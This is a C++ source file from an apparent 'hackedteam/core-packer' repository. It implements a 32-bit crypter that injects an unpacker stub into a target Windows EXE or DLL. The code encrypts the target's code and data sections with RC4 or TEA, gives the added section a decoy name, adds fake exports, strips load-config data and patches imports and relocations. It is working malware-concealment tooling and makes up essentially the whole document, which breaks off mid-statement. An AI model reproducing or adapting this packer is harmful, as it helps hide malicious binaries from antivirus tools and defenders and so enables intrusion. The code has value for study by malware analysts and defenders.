hackedteam/core-packer

View on GitHub
core-packer/main32.cpp

Summary

Maintainability
Test Coverage
#include <Windows.h>
#include <iostream>
#include "peasm/peasm.h"
#include "peasm/pesection.h"
#include "library.h"
#include "macro.h"
#include "rva.h"
#include "rc4.h"
#include "symbols.h"
#include "dll32.h"
#include "tea.h"
#include "patchutils.h"

#ifdef _BUILD32

extern BOOL WINAPI DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved);
extern "C" VOID WINAPI __crt0Startup(DWORD);
extern "C" VOID WINAPI DELAYDECRYPT();


#define SECTION_RANDOM_NAME    15

static char *szSectionNames[SECTION_RANDOM_NAME] = 
{
    ".textbss",
    ".pages",
    ".visical",
    ".inferno",
    ".calc",
    ".notepad",
    ".word",
    ".viper0",
    ".venom",
    ".text0",
    ".uspack0",
    ".hermit",
    ".locals",
    ".stack1",
    ".GLOBAL"
};

// reloc table
typedef struct _relocation_block {
    DWORD    PageRVA;
    DWORD    BlockSize;
} relocation_block_t;

typedef short relocation_entry;


ULONG dll32_FakeExport[17] =
{
    (ULONG) _FakeEntryPoint0,
    (ULONG) _FakeEntryPoint1,
    (ULONG) _FakeEntryPoint2,
    (ULONG) _FakeEntryPoint3,
    (ULONG) _FakeEntryPoint4,
    (ULONG) _FakeEntryPoint5,
    (ULONG) _FakeEntryPoint6,
    (ULONG) _FakeEntryPoint7,
    (ULONG) _FakeEntryPoint8,
    (ULONG) _FakeEntryPoint9,
    (ULONG) _FakeEntryPointA,
    (ULONG) _FakeEntryPointB,
    (ULONG) _FakeEntryPointC,
    (ULONG) _FakeEntryPointD,
    (ULONG) _FakeEntryPointE,
    (ULONG) _FakeEntryPointF,
    NULL
};

ULONG exe32_FakeExport[11] =
{
    (ULONG) _FakeEntryPoint0,
    (ULONG) _FakeEntryPoint1,
    (ULONG) _FakeEntryPoint2,
    (ULONG) _FakeEntryPoint3,
    (ULONG) _FakeEntryPoint4,
    (ULONG) _FakeEntryPoint5,
    (ULONG) _FakeEntryPoint6,
    (ULONG) _FakeEntryPoint7,
    (ULONG) _FakeEntryPoint8,
    (ULONG) _FakeEntryPoint9,
    NULL
};

struct _IAT_ENTRY {
    char    *szName;
    DWORD    Offset;
};

BOOL page_in_range(DWORD PageRVA, DWORD va, DWORD size)
{
    if (PageRVA >= va && PageRVA < (va + size))
        return TRUE;

    return FALSE;
}

DWORD lookup_iat_symbol(PIMAGE_DOS_HEADER pDOSDescriptor, PIMAGE_NT_HEADERS32 pImageNtHeaders, PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor, DWORD dwRVA, CPeAssembly *pTarget)
{    // return 0
    const char *szSymbolName = NULL;
    const char *szModuleName = NULL;
    DWORD dwResult = 0;

    while(pImportDescriptor->Characteristics != 0 && szModuleName == NULL)
    {
        PULONG rvaName = (PULONG) rva2addr(pDOSDescriptor, pImageNtHeaders, (LPVOID) pImportDescriptor->Characteristics);
        PULONG iatRVA = (PULONG) rva2addr(pDOSDescriptor, pImageNtHeaders, (LPVOID) pImportDescriptor->FirstThunk);
        PULONG iat = (PULONG) rva2addr(pDOSDescriptor, pImageNtHeaders, (LPVOID) pImportDescriptor->FirstThunk);

        while(*rvaName != 0)
        {
            char *name = (char *) rva2addr(pDOSDescriptor, pImageNtHeaders, (LPVOID) ((*rvaName & 0x7fffffff) + 2));

            if (dwRVA == (DWORD) iat)
            {    // found!
                szModuleName = (const char *) rva2addr(pDOSDescriptor, pImageNtHeaders, (LPVOID) pImportDescriptor->Name);
                szSymbolName = name;
                break;
            }

            rvaName++;
            iatRVA++;
            iat++;
        }

        pImportDescriptor++;
    }

    if (szSymbolName == NULL && szModuleName == NULL)
    {    // exit!
        return dwResult;
    }

    PIMAGE_DATA_DIRECTORY pTargetDataDirectory = pTarget->DataDirectory();
    PIMAGE_IMPORT_DESCRIPTOR pTargetImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR) pTarget->RawPointer(pTargetDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    while(pTargetImportDescriptor->Characteristics != 0)
    {
        if (strcmp((const char *) pTarget->RawPointer(pTargetImportDescriptor->Name), szModuleName) == 0)
        {    // look into this module

            //std::cout << "\tEntries: " << std::endl;
            PULONG rvaName = (PULONG) pTarget->RawPointer(pTargetImportDescriptor->Characteristics);
            PULONG iatRVA = (PULONG) pTarget->RawPointer(pTargetImportDescriptor->FirstThunk);
            PULONG iat = (PULONG) pTargetImportDescriptor->FirstThunk;

            while(*rvaName != 0 && dwResult == 0)
            {
                char *name = (char *) pTarget->RawPointer((*rvaName & 0x7fffffff) + 2);

                if (name != NULL && strcmp(name, szSymbolName) == 0)
                {
                    //std::cout << "\t " << std::hex << CALC_DISP(LPVOID, iatRVA, pInfectMe) << " " << std::hex << *iatRVA << " " << name << std::endl;
                    
                    dwResult = (DWORD) iat;
                }

            rvaName++;
            iatRVA++;
            iat++;
            }

        }

        pTargetImportDescriptor++;
    }

    return dwResult;
}


void fix_iat_symbol(LPVOID hProcessModule, PIMAGE_NT_HEADERS32 pSelf, PIMAGE_SECTION_HEADER pSection, DWORD dwNewVirtualAddress, CPeAssembly *destination)
{
    DWORD dwSize = 0;

    relocation_block_t *reloc = CALC_OFFSET(relocation_block_t *, hProcessModule, pSelf->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);

    DWORD dwImageBase = pSelf->OptionalHeader.ImageBase;

    if (dwImageBase != (DWORD) hProcessModule)
        dwImageBase = (DWORD) hProcessModule;
    DWORD dummy = 0;

    PIMAGE_IMPORT_DESCRIPTOR pImageDosDescriptor = (PIMAGE_IMPORT_DESCRIPTOR) rva2addr((PIMAGE_DOS_HEADER) hProcessModule, pSelf, (LPVOID)(pSelf->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress));

    LPVOID lpSection = rva2addr((PIMAGE_DOS_HEADER) hProcessModule, pSelf, (LPVOID) pSection->VirtualAddress);
    VirtualProtect(lpSection, pSection->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &dummy);    // enable RWX on original page!

    DWORD dwSelfImageBase = pSelf->OptionalHeader.ImageBase;
    DWORD dwTargetImageBase = (DWORD) destination->getBaseAddress();


    while(reloc != NULL)
    {
        if (reloc->PageRVA >= pSection->VirtualAddress && reloc->PageRVA < (pSection->VirtualAddress + pSection->Misc.VirtualSize))
        {    // good! add this page!
            DWORD blocksize = reloc->BlockSize - 8;
            relocation_entry *entry = CALC_OFFSET(relocation_entry *, reloc, 8);
            
            while(blocksize > 0)
            {    // fetch instruction and patch!
                short type = ((*entry & 0xf000) >> 12);
                long offset = (*entry & 0x0fff);

                ULONG *ptr = (PULONG) rva2addr((PIMAGE_DOS_HEADER) hProcessModule, pSelf, (LPVOID) (offset + reloc->PageRVA));
                ULONG value = *ptr;// - dwSelfImageBase;
                LPBYTE prefix = CALC_OFFSET(LPBYTE, ptr, -2);    //

                ULONG dwNewValue = 0;

                if (type == 0x03 &&    // 32bit offset
                    prefix[0] == 0xFF &&
                    prefix[1] == 0x15)
                {    // require fix!!!
                    DWORD dwNewSymbol = lookup_iat_symbol((PIMAGE_DOS_HEADER) hProcessModule, pSelf, pImageDosDescriptor, value, destination);

                    if (dwNewSymbol != 0)
                        *ptr = dwNewSymbol + dwSelfImageBase;
                }

                entry++;
                blocksize -= 2;
            }

            dwSize += reloc->BlockSize;
        }

        reloc = CALC_OFFSET(relocation_block_t *, reloc, reloc->BlockSize);
        if (reloc->BlockSize == 0) reloc = NULL;
    }
}

/**
 *    Patch_EXPORT_SYMBOL
 *    Look 0x10001000 (marker) into stub and replace it with right value
 **/
void Patch_EXPORT_SYMBOL(LPVOID lpBaseBlock, LPBYTE lpInitialMem, DWORD dwSize, LPVOID lpSignature, DWORD newOffset, DWORD oldOffset)
{
    LPVOID lpInitialByte = FindBlockMem((LPBYTE) lpInitialMem, dwSize, lpSignature, 0x10);

    if (lpInitialByte != NULL)
    {
        for(int i = 0; i < 0x20; i++)
        {
            DWORD dwMarker = 0x10001000;
            if (memcmp(CALC_OFFSET(LPVOID, lpInitialByte, i), &dwMarker, sizeof(DWORD))    == 0)
            {
                LPDWORD c = CALC_OFFSET(LPDWORD, lpInitialByte, i);
                *c = oldOffset;
                return;
            }
        }

    }

}

/**
 *    Return size required for relocation
 **/
size_t SizeOfRelocSection(LPVOID hProcessModule, PIMAGE_NT_HEADERS32 pSelf, PIMAGE_SECTION_HEADER pSection)
{
    size_t size = 0;

    relocation_block_t *reloc = CALC_OFFSET(relocation_block_t *, hProcessModule, pSelf->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);

    DWORD dwImageBase = pSelf->OptionalHeader.ImageBase;

    if (dwImageBase != (DWORD) hProcessModule)
        dwImageBase = (DWORD) hProcessModule;


    while(reloc != NULL)
    {
        if (reloc->PageRVA >= pSection->VirtualAddress && reloc->PageRVA < (pSection->VirtualAddress + pSection->Misc.VirtualSize))
        {    // good! add this page!
            size+= reloc->BlockSize;
        }

        reloc = CALC_OFFSET(relocation_block_t *, reloc, reloc->BlockSize);
        if (reloc->BlockSize == 0) reloc = NULL;
    }
    return size;
}


DWORD Transfer_Reloc_Table(LPVOID hProcessModule, PIMAGE_NT_HEADERS32 pSelf, PIMAGE_SECTION_HEADER pSection, LPVOID lpOutput, DWORD dwNewVirtualAddress, CPeAssembly *destination, PIMAGE_NT_HEADERS32 pNewFile)
{
    DWORD dwSize = 0;

    relocation_block_t *reloc = CALC_OFFSET(relocation_block_t *, hProcessModule, pSelf->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);

    DWORD dwImageBase = pSelf->OptionalHeader.ImageBase;

    if (dwImageBase != (DWORD) hProcessModule)
        dwImageBase = (DWORD) hProcessModule;

    while(reloc != NULL)
    {
        if (reloc->PageRVA >= pSection->VirtualAddress && reloc->PageRVA < (pSection->VirtualAddress + pSection->Misc.VirtualSize))
        {    // good! add this page!
            memcpy(lpOutput, reloc, reloc->BlockSize);
            
            relocation_block_t *newReloc= CALC_OFFSET(relocation_block_t *, lpOutput, 0);

            newReloc->PageRVA = reloc->PageRVA - pSection->VirtualAddress + dwNewVirtualAddress;
            
            DWORD blocksize = newReloc->BlockSize - 8;
            relocation_entry *entry = CALC_OFFSET(relocation_entry *, newReloc, 8);
            
            while(blocksize > 0)
            {    // fetch instruction and patch!
                short type = ((*entry & 0xf000) >> 12);
                long offset = (*entry & 0x0fff);

                if (type == 0 && offset == 0)
                {
                    entry++;
                    blocksize -= 2;
                    continue;
                }

                ULONG *ptr = (PULONG) destination->RawPointer(offset + newReloc->PageRVA);
                ULONG value = *ptr;
                ULONG dwNewValue = 0;
                DWORD dwRVA = (value - dwImageBase) & 0xfffff000;

                switch(type)
                {
                    case 0x03:
                        if (page_in_range(dwRVA, pSection->VirtualAddress, pSection->Misc.VirtualSize) == FALSE)
                        {
                            value = value - dwImageBase;
                            value = value + pNewFile->OptionalHeader.ImageBase;
                        }
                        else
                        {
                            value = value - dwImageBase - reloc->PageRVA;
                            value = value + pNewFile->OptionalHeader.ImageBase + newReloc->PageRVA;
                        }
                        *ptr = value;
                        break;
                        break;
                    case 0x0a:
                        //dwNewValue = value - pImageNtHeader->OptionalHeader.ImageBase + (ULONG64) pModule;
                        //*ptr = dwNewValue;
                        break;
                }
                entry++;
                blocksize -= 2;
            }

            lpOutput = CALC_OFFSET(LPVOID, lpOutput, reloc->BlockSize);

            dwSize += reloc->BlockSize;
        }

        reloc = CALC_OFFSET(relocation_block_t *, reloc, reloc->BlockSize);
        if (reloc->BlockSize == 0) reloc = NULL;
    }
    return dwSize;
}

char *szSectionName[] = { ".hermit\0", ".pedll32\0", ".pedll64\0", ".peexe32\0", ".peexe64\0" };

PIMAGE_SECTION_HEADER lookup_core_section(PIMAGE_DOS_HEADER pImageDosHeader, PIMAGE_NT_HEADERS32 pImageNtHeaders32, BOOL dllTARGET)
{
    short NumberOfSections = pImageNtHeaders32->FileHeader.NumberOfSections;

    char *szHermitName = szSectionName[1];

    if (dllTARGET == FALSE)
        szHermitName = szSectionName[3];

    PIMAGE_SECTION_HEADER pResult = NULL;

    for(PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pImageNtHeaders32); NumberOfSections > 0; NumberOfSections--, pSection++)
    {
        if (memcmp(szHermitName, pSection->Name, 8) == 0)
        {
            std::cout << szHermitName << "/32bit section found in code" << std::endl;
            
            std::cout << "\tSize of raw data: " << std::hex << pSection->SizeOfRawData << std::endl;
            std::cout << "\t    Virtual size: " << std::hex << pSection->Misc.VirtualSize << std::endl;
            std::cout << "\t             RVA: " << std::hex << pSection->VirtualAddress << std::endl;
            std::cout << "\t Virtual Address: " << std::hex << rva2addr(pImageDosHeader, pImageNtHeaders32, CALC_OFFSET(LPVOID, pImageDosHeader, pSection->VirtualAddress)) << std::endl;

            pResult = pSection;
            break;
        }
    }

    return pResult;
}


static BOOL check_blacklist(PWIN32_FIND_DATA lpFindData)
{
    if (_strcmpi(lpFindData->cFileName, "compobj.dll") == 0)
        return TRUE;

    if (_strcmpi(lpFindData->cFileName, "avifile.dll") == 0)
        return TRUE;

    if (_strnicmp(lpFindData->cFileName, "nls", 3) == 0)
        return TRUE;    // skip nls

    return FALSE;
}

int count_rand_file()
{
    char szWindirPath[MAX_PATH];

    DWORD dwIgnore = GetEnvironmentVariableA("windir", szWindirPath, MAX_PATH);

    if (dwIgnore == 0)
    {    // try default c:\windows
        strcpy(szWindirPath, "C:\\windows\\");
    }
    else
    {
        int i = strlen(szWindirPath);

        if (szWindirPath[i-1] != '\\')
            strcat(szWindirPath, "\\");
    }

    typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
    LPFN_ISWOW64PROCESS fnIsWow64Process;

    fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(GetModuleHandle("kernel32"),"IsWow64Process");

    if(NULL != fnIsWow64Process)
    {
        BOOL bIsWow64 = FALSE;

        fnIsWow64Process(GetCurrentProcess(),&bIsWow64);

        if (bIsWow64)
            strcat(szWindirPath, "syswow64\\");
        else
            strcat(szWindirPath, "system32\\");
    }
    else
    {
        strcat(szWindirPath, "system32\\");
    }

    char szFindPath[MAX_PATH];
    sprintf(szFindPath, "%s*.dll", szWindirPath);

    WIN32_FIND_DATA findfiledata;
    HANDLE hLook = FindFirstFileA(szFindPath, &findfiledata);

    if (hLook == INVALID_HANDLE_VALUE)
        return 0;

    int count=0;

    do
    {    // perform a backup!
        count++;
    } while(FindNextFileA(hLook, &findfiledata));

    FindClose(hLook);

    return count;
}

BOOL lookup_rand_file(char *szOutFile, int maxsize)
{
    memset(szOutFile, 0, maxsize);
    
    char szWindirPath[MAX_PATH];

    DWORD dwIgnore = GetEnvironmentVariableA("windir", szWindirPath, MAX_PATH);

    if (dwIgnore == 0)
    {    // try default c:\windows
        strcpy(szWindirPath, "C:\\windows\\");
    }
    else
    {
        int i = strlen(szWindirPath);

        if (szWindirPath[i-1] != '\\')
            strcat(szWindirPath, "\\");
    }

    typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
    LPFN_ISWOW64PROCESS fnIsWow64Process;

    fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(GetModuleHandle("kernel32"),"IsWow64Process");

    if(NULL != fnIsWow64Process)
    {
        BOOL bIsWow64 = FALSE;

        fnIsWow64Process(GetCurrentProcess(),&bIsWow64);

        if (bIsWow64)
            strcat(szWindirPath, "syswow64\\");
        else
            strcat(szWindirPath, "system32\\");
    }
    else
    {
        strcat(szWindirPath, "system32\\");
    }

    char szFindPath[MAX_PATH];
    sprintf(szFindPath, "%s*.dll", szWindirPath);

    WIN32_FIND_DATA findfiledata;
    WIN32_FIND_DATA _previous_findfiledata;
    HANDLE hLook = FindFirstFileA(szFindPath, &findfiledata);

    int l = rand() % 256;

    if (hLook == INVALID_HANDLE_VALUE)
        return FALSE;

    do
    {    // perform a backup!
        if (check_blacklist(&findfiledata) == TRUE)    // file in blacklist
            continue;

        memcpy(&_previous_findfiledata, &findfiledata, sizeof(WIN32_FIND_DATA));
        if (l  == 0)
            break;

        l--;
    } while(FindNextFileA(hLook, &findfiledata));

    FindClose(hLook);

    strcat(szWindirPath, _previous_findfiledata.cFileName);

    strcpy(szOutFile, szWindirPath);

    return TRUE;
}


CPeAssembly *load_random(char *param)
{
    if (param != NULL)
    {
        CPeAssembly *obj = new CPeAssembly();
        obj->Load(param);
        return obj;
    }
    else
    {
        char randfile[MAX_PATH];

        CPeAssembly *obj = NULL;

        while(obj == NULL)
        {
            lookup_rand_file(randfile, MAX_PATH);

            obj = new CPeAssembly();

            if (obj->Load(randfile) == false)
            {    // failed!
                std::cout << "Error loading " << randfile << std::endl;
                delete obj;
                obj = NULL;
            }

            if (obj->NumberOfSections() == 0)
            {    // failed!
                std::cout << "Error loading " << randfile << std::endl;
                delete obj;
                obj = NULL;
            }
        }

        std::cout << "[CONFIG] random file section: " << randfile << std::endl;
        return obj;
    }

    return NULL;
}

int main32(int argc, char *argv[])
{
    srand(GetTickCount());    // initialize for (rand)

    if (argc == 1)
    {
        std::cout << "packer32 infile outfile" << std::endl;
        std::cout << "packer32 in/outfile" << std::endl;
    }

    HMODULE hModule = GetModuleHandle(NULL);

    PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER) hModule;
    PIMAGE_NT_HEADERS32 pImageNtHeaders32 = CALC_OFFSET(PIMAGE_NT_HEADERS32, pImageDosHeader, pImageDosHeader->e_lfanew);

    if (pImageNtHeaders32->Signature != IMAGE_NT_SIGNATURE)
    {    
        std::cout << "Sorry! I can't check myself!";
        return FALSE;    
    }

    
    CPeAssembly *pInfectMe = new CPeAssembly();

    pInfectMe->Load(argv[1]);

    CPeAssembly *morph = NULL;

    if (argc > 3)
        morph = load_random(argv[3]);
    else
        morph = load_random(NULL);

    // find patterns!
    //PIMAGE_DOS_HEADER pInfectMe = (PIMAGE_DOS_HEADER) InternalLoadLibrary(argv[1], 0);
    //PIMAGE_NT_HEADERS pInfectMeNtHeader = CALC_OFFSET(PIMAGE_NT_HEADERS, pInfectMe, pInfectMe->e_lfanew);
    
    PIMAGE_SECTION_HEADER pUnpackerCode = NULL;
    
    if (pInfectMe->IsDLL())
    {    // it's a DLL?!?!?
        std::cout << "Input file is DLL!" << std::endl;

        pUnpackerCode = lookup_core_section(pImageDosHeader, pImageNtHeaders32, TRUE);
    }
    else if (pInfectMe->IsEXE())
    {
        std::cout << "Input file is EXECUTABLE!" << std::endl;
        pUnpackerCode = lookup_core_section(pImageDosHeader, pImageNtHeaders32, FALSE);
    }
    else
    {
        std::cout << "Unsupported input file!" << std::endl;
        return 0;
    }

    if (pUnpackerCode == NULL)
    {    //  break!
        std::cout << "Cannot find <PACKER> in sections" << std::endl;
        return 0;
    }

    size_t required_reloc_space = SizeOfRelocSection(pImageDosHeader, pImageNtHeaders32, pUnpackerCode);
    
    CPeSection *relocSection = pInfectMe->LookupSectionByName(".reloc");

    if (relocSection != NULL)
    {    // .reloc required!
        size_t relocsize = relocSection->VirtualSize();
    
        required_reloc_space = RoundUp(required_reloc_space, 16);

        if (relocsize + required_reloc_space > relocSection->SizeOfRawData())
        {    // expand
            relocSection->AddSize(required_reloc_space);
        }
    }
    
    
    PIMAGE_DATA_DIRECTORY DataDir = pInfectMe->DataDirectory();
    
    // move reloc table after
    if (relocSection != NULL)
    {
        LPVOID lpSource = relocSection->RawData();
        LPVOID lpDestination = CALC_OFFSET(LPVOID, lpSource, required_reloc_space);

        LPVOID buffer = malloc(relocSection->SizeOfRawData());
        memset(buffer, 0, relocSection->SizeOfRawData());
        memcpy(CALC_OFFSET(LPVOID, buffer, required_reloc_space), lpSource, relocSection->SizeOfRawData() - required_reloc_space);
        memcpy(relocSection->RawData(), buffer, relocSection->SizeOfRawData());
        free(buffer);

        DataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress += required_reloc_space;
    }

    
    char passKey[16];

    for(int i =0; i < sizeof(passKey); i++)
        passKey[i] = rand() % 256;

    BYTE rc4sbox[256];
    
    
    PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR) pInfectMe->RawPointer(DataDir[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
    
    PIMAGE_SECTION_HEADER pDestSection = NULL;

    char *szSectionName = szSectionNames[rand() % 15];
    
    CPeSection *pInfectSection = NULL;

    int newVirtualSize = RoundUp(pUnpackerCode->Misc.VirtualSize, 1024);// + ((rand() % 16) * 1024), 1024);

    DWORD virtualSize_Stub = 0;

    if (pInfectMe->IsDLL())
    {
        pInfectSection = pInfectMe->AddSection(szSectionName, 0x0, newVirtualSize);    // move section in "head"
        virtualSize_Stub = newVirtualSize;
    }
    else if (pInfectMe->IsEXE())
    {
        memcpy(pInfectMe->getSection(0)->GetSectionHeader()->Name, ".rwdata\0", 8);
        CPeSection *pTargetText = pInfectMe->getSection(1);    // section 1 -> .data ?

        pInfectSection = pInfectMe->AddSection(".text", 0x1000, newVirtualSize);    // move section in "head"
        virtualSize_Stub = newVirtualSize;

        //CPeSection *pText = pInfectMe->LookupSectionByName(".text");
        //pInfectSection = pInfectMe->MergeSection(pInfectSection, pText);

        //CPeSection *pMorphSection = morph->getSection(0);

        //memset(pInfectSection->RawData(), 0x90, newVirtualSize);
        //memcpy(pInfectSection->RawData(), pMorphSection->RawData(), (pMorphSection->SizeOfRawData() < newVirtualSize) ? pMorphSection->SizeOfRawData() : newVirtualSize);
    }
    
    DWORD kernel32LoadLibraryA_Offset = 0;
    DWORD kernel32GetProcAddress_Offset = 0;
    DWORD kernel32CreateFileA_Offset = 0;
    DWORD kernel32GetModuleFileNameA_Offset = 0;
    DWORD kernel32ReadFile_Offset = 0;
    DWORD kernel32SetFilePointer_Offset = 0;
    DWORD kernel32CloseHandle_Offset = 0;

    while(pImportDescriptor->Characteristics != 0)
    {
        //std::cout << "Name " << (char *) pInfectMe->RawPointer(pImportDescriptor->Name) << std::endl;
        
        //std::cout << "\tEntries: " << std::endl;

#ifdef _BUILD64
        PULONG64 rvaName = CALC_OFFSET(PULONG64, pInfectMe, pImportDescriptor->Characteristics);
        PULONG64 iatRVA = CALC_OFFSET(PULONG64, pInfectMe, pImportDescriptor->FirstThunk);
#else
        PULONG rvaName = (PULONG) pInfectMe->RawPointer(pImportDescriptor->Characteristics);
        PULONG iatRVA = (PULONG) pInfectMe->RawPointer(pImportDescriptor->FirstThunk);
        PULONG iat = (PULONG) pImportDescriptor->FirstThunk;
#endif


        while(*rvaName != 0)
        {
            char *name = (char *) pInfectMe->RawPointer((*rvaName & 0x7fffffff) + 2);

            if (name != NULL)
            {
                //std::cout << "\t " << std::hex << CALC_DISP(LPVOID, iatRVA, pInfectMe) << " " << std::hex << *iatRVA << " " << name << std::endl;

                if (strcmp(name, "LoadLibraryA") == 0) 
                    kernel32LoadLibraryA_Offset = (DWORD) iat;
                else if (strcmp(name, "GetProcAddress") == 0)
                    kernel32GetProcAddress_Offset = (DWORD) iat;
                else if (strcmp(name, "CreateFileA") == 0)
                    kernel32CreateFileA_Offset = (DWORD) iat;
                else if (strcmp(name, "GetModuleFileNameA") == 0)
                    kernel32GetModuleFileNameA_Offset = (DWORD) iat;
                else if (strcmp(name, "SetFilePointer") == 0)
                    kernel32SetFilePointer_Offset = (DWORD) iat;
                else if (strcmp(name, "ReadFile") == 0)
                    kernel32ReadFile_Offset = (DWORD) iat;
                else if (strcmp(name, "CloseHandle") == 0)
                    kernel32CloseHandle_Offset = (DWORD) iat;
            }
            else
            {    // by ordinal
                //LPDWORD sticazzi = (LPDWORD) pInfectMe->RawPointer((*rvaName & 0x7fffffff) + 2);
                //std::cout << "\t [ORDINAL] " << std::hex << CALC_DISP(LPVOID, iatRVA, pInfectMe) << " " << std::hex << *x << " " << std::endl;
            }

            rvaName++;
            iatRVA++;
            iat++;
        }

        pImportDescriptor++;
    }

    
    fix_iat_symbol(pImageDosHeader, pImageNtHeaders32,  pUnpackerCode, 0x0, pInfectMe);

    for(int i = 0; i < pInfectMe->NumberOfSections(); i++)
    {    // each section must be packed
        if (pInfectMe->IsDLL())
        {
            init_sbox(rc4sbox);
            init_sbox_key(rc4sbox, (BYTE *) passKey, 16);
        }
        else
        {
            uint32_t *key = (uint32_t *) rc4sbox;
            memcpy(key, passKey, 16);
        }

        CPeSection *pProcessSection = pInfectMe->getSection(i);
        PIMAGE_SECTION_HEADER pSectionHeader = pProcessSection->GetSectionHeader();

        if ((pSectionHeader->Characteristics & IMAGE_SCN_MEM_SHARED) == IMAGE_SCN_MEM_SHARED)
        {    // skip current section
        }
        else if ((pSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) == IMAGE_SCN_MEM_EXECUTE)
        {
            //pSectionHeader->Characteristics |= 0x02;
            
            if (pInfectMe->IsDLL())
                cypher_msg(rc4sbox, (PBYTE) pProcessSection->RawData(), pProcessSection->SizeOfRawData());
            else
            {
                uint32_t *key = (uint32_t *) rc4sbox;
                LPDWORD encptr = (LPDWORD) pProcessSection->RawData();
                encptr += 0x800;

                for(DWORD dwPtr = 0x2000; dwPtr < pProcessSection->SizeOfRawData(); dwPtr += 8, encptr += 2)
                {    // no encryption!
                    //if (encptr[0] == 0xCCCCCCCC || encptr[1] == 0xCCCCCCCC)
                    //{    // alignment .. skip
                    //}
                    //else
                    //{    // encrypt block!
                        tea_encrypt((uint32_t *) encptr, key);
                    //}
                    /*DWORD tmp = encptr[0]
                     = encptr[1];*/

                    
                }

                pProcessSection->hide(true);

                //pSectionHeader->Characteristics ^= IMAGE_SCN_MEM_EXECUTE;
                //pSectionHeader->Characteristics &= IMAGE_SCN_MEM_READ;
            }

            //pSectionHeader->Characteristics ^= IMAGE_SCN_MEM_EXECUTE;
            if (strcmp((char *) pSectionHeader->Name, ".text") == 0)
            {    // text section!
                //pSectionHeader->Misc.VirtualSize = pSectionHeader->SizeOfRawData;
            }

        }
        else if (memcmp(pSectionHeader->Name, ".data", 5) == 0)
        {
            //pSectionHeader->Characteristics |= 0x02;

            if (pInfectMe->IsDLL())
                cypher_msg(rc4sbox, (PBYTE) pProcessSection->RawData(), pProcessSection->SizeOfRawData());
            else
            {
                uint32_t *key = (uint32_t *) rc4sbox;
                LPDWORD encptr = (LPDWORD) pProcessSection->RawData();

                for(DWORD dwPtr = 0; dwPtr < pProcessSection->SizeOfRawData(); dwPtr += 8, encptr += 2)
                    tea_encrypt((uint32_t *) encptr, key);
            }

        }
        else if (memcmp(pSectionHeader->Name, ".rdata", 6) == 0)
        {    // encrypt rdata section

            if (pInfectMe->IsDLL())
            {    // ignore
            }
            else
            {
                /*uint32_t *key = (uint32_t *) rc4sbox;
                LPDWORD encptr = (LPDWORD) pProcessSection->RawData();

                for(DWORD dwPtr = 0; dwPtr < pProcessSection->SizeOfRawData(); dwPtr += 8, encptr += 2)
                    tea_encrypt((uint32_t *) encptr, key);*/
            }

        }

        //else if (memcmp(pSectionHeader->Name, ".rdata", 6) == 0)
        //{
        //    pSectionHeader->Characteristics |= 0x03;

        //    /*DWORD sizeOfSection = 
        //        pInfectMeNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress 
        //            - pProcessSection->VirtualAddress 
        //            - pInfectMeNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size;
        //                
        //    LPVOID sectionAddress = rva2addr(pInfectMe, pInfectMeNtHeader, (LPVOID) (pProcessSection->VirtualAddress + pInfectMeNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size));*/

        //    if (pInfectMe->IsDLL())
        //        cypher_msg(rc4sbox, (PBYTE) sectionAddress, sizeOfSection);
        //    else
        //    {
        //        uint32_t *key = (uint32_t *) rc4sbox;
        //        LPDWORD encptr = (LPDWORD) sectionAddress;

        //        for(DWORD dwPtr = 0; dwPtr < sizeOfSection; dwPtr += 8, encptr += 2)
        //            tea_encrypt((uint32_t *) encptr, key);
        //    }
        //}

    }
    
    //memcpy(pInfectSection->Name, szHermitName, 8);
    
    //PIMAGE_SECTION_HEADER pInfectSection = IMAGE_FIRST_SECTION(pInfectMeNtHeader);
    
    if (pInfectMe->IsDLL())
    {    // DLL stub .. SECTION RWX
        pInfectSection->GetSectionHeader()->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE;
    }
    else
    {    // EXE STUB ... SECTION RX
        pInfectSection->GetSectionHeader()->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE;
    }

    // Laod Config Data <-> REMOVE!!!
    if (DataDir[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress != 0 && pInfectMe->IsDLL() == FALSE)
    {
        std::cout << "\t**WARNING**\tLOAD_CONFIG Data Directory isn't NULL! Removing! " << std::endl;

        DataDir[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress = 0;
        DataDir[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].Size = 0;
    }


    BOOL bExportPresent = FALSE;
    LPDWORD AddressOfFunctions = NULL;
    ULONG *table = NULL;

    PIMAGE_EXPORT_DIRECTORY ExportDirectory =  
